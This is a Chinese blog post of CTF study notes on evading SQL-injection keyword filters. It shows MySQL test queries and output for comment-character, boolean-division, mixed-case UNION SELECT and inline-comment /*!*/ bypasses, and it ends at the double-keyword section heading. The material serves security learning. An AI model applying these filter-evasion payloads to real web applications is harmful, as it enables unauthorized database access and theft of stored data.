1. 程式人生 > >ctf sql注入關鍵詞繞過【積累中】

ctf sql注入關鍵詞繞過【積累中】

               

寫在前面:這個部落格知識點來源於個人ctf練習比賽中積累的知識點及網路中各個部落格的總結點,這裡做測試和記錄

0x00 sql注入理解

    SQL注入能使攻擊者繞過認證機制,完全控制遠端伺服器上的資料庫。 SQL是結構化查詢語言的簡稱,它是訪問資料庫的事實標準。目前,大多數Web應用都使用SQL資料庫來存放應用程式的資料。幾乎所有的Web應用在後臺 都使用某種SQL資料庫。跟大多數語言一樣,SQL語法允許資料庫命令和使用者資料混雜在一起的。如果開發人員不細心的話,使用者資料就有可能被解釋成命令, 這樣的話,遠端使用者就不僅能向Web應用輸入資料,而且還可以在資料庫上執行任意命令了。

    sql注入的原因,表面上說是因為 拼接字串,構成sql語句,沒有使用 sql語句預編譯,繫結變數;但是更深層次的原因是,將使用者輸入的字串,當成了 “sql語句” 來執行。

    比如語句 String sql = "select id,no from user where id=" + id;我們希望使用者輸入的 id 的值,僅僅作為一個字串字面值,傳入資料庫執行,但是當輸入了: 2 or 1=1 時,其中的 or 1=1 並沒有作為 where id= 的字面值,而是作為了 sql語句 來執行的。所以其本質是將使用者的輸入的資料,作為了命令來執行。

測試環境:Server version: 5.7.17-log MySQL Community Server (GPL)

0x01 sql注入繞過

1.1 註釋符繞過

常用註釋符:

 -- , /**/, #
驗證:
mysql> select
* from sql_test where id = /*11*/1;+----+----------+----------+| id | username | password |+----+----------+----------+|  1 | admin    | 123456   |+----+----------+----------+1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;-- select * from sql_test;+----+----------+----------+| id | username | password |+----+----------+----------+
|  3 | test2    | 456      |+----+----------+----------+1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;# select * from sql_test;+----+----------+----------+| id | username | password |+----+----------+----------+|  3 | test2    | 456      |+----+----------+----------+1 row in set (0.00 sec)

這裡還從別的表哥部落格中發現了一種新姿勢:

mysql> select * from sql_test where id ='1'/1=(1=3)/'1'='1';+----+----------+----------+| id | username | password |+----+----------+----------+|  2 | test     | 234      ||  3 | test2    | 456      |+----+----------+----------+2 rows in set (0.00 sec)mysql> select * from sql_test where id ='1'/1=(1=1)/'1'='1';+----+----------+----------+| id | username | password |+----+----------+----------+|  1 | admin    | 123456   |+----+----------+----------+1 row in set (0.00 sec)
理解如下:where id=1=0/1=1->where id=1=0=1id!=1,比如id=2 和 id=3的時候id=1返回了一個值為0的布林變數0=0繼而返回了1的布林變數再和=1比較,返回比較成功,故選取了id2,3的記錄先除後判等,左往右

1.2 大小寫繞過

    sql語句忽略關鍵詞是否大小寫,其實只要waf不是故意這樣設計的,基本上攔截都是大小寫一起攔截的

mysql> select * from sql_test where id = 3 uniON sEleCt  * from sql_test where id = 2;+----+----------+----------+| id | username | password |+----+----------+----------+|  3 | test2    | 456      ||  2 | test     | 234      |+----+----------+----------+2 rows in set (0.00 sec)

1.3 內聯註釋繞過

    ummmm,解釋起來就是,它把一些特有的僅在MYSQL上的語句放在 /*! ... */ 中,這樣這些語句如果在其它資料庫中是不會被執行,但在MYSQL中它會執行

mysql> select * from sql_test where id = 3 union /*!select*/  * from sql_test where id like 2;+----+----------+----------+| id | username | password |+----+----------+----------+|  3 | test2    | 456      ||  2 | test     | 234      |+----+----------+----------+2 rows in set (0.00 sec)

1.4 雙關鍵字繞過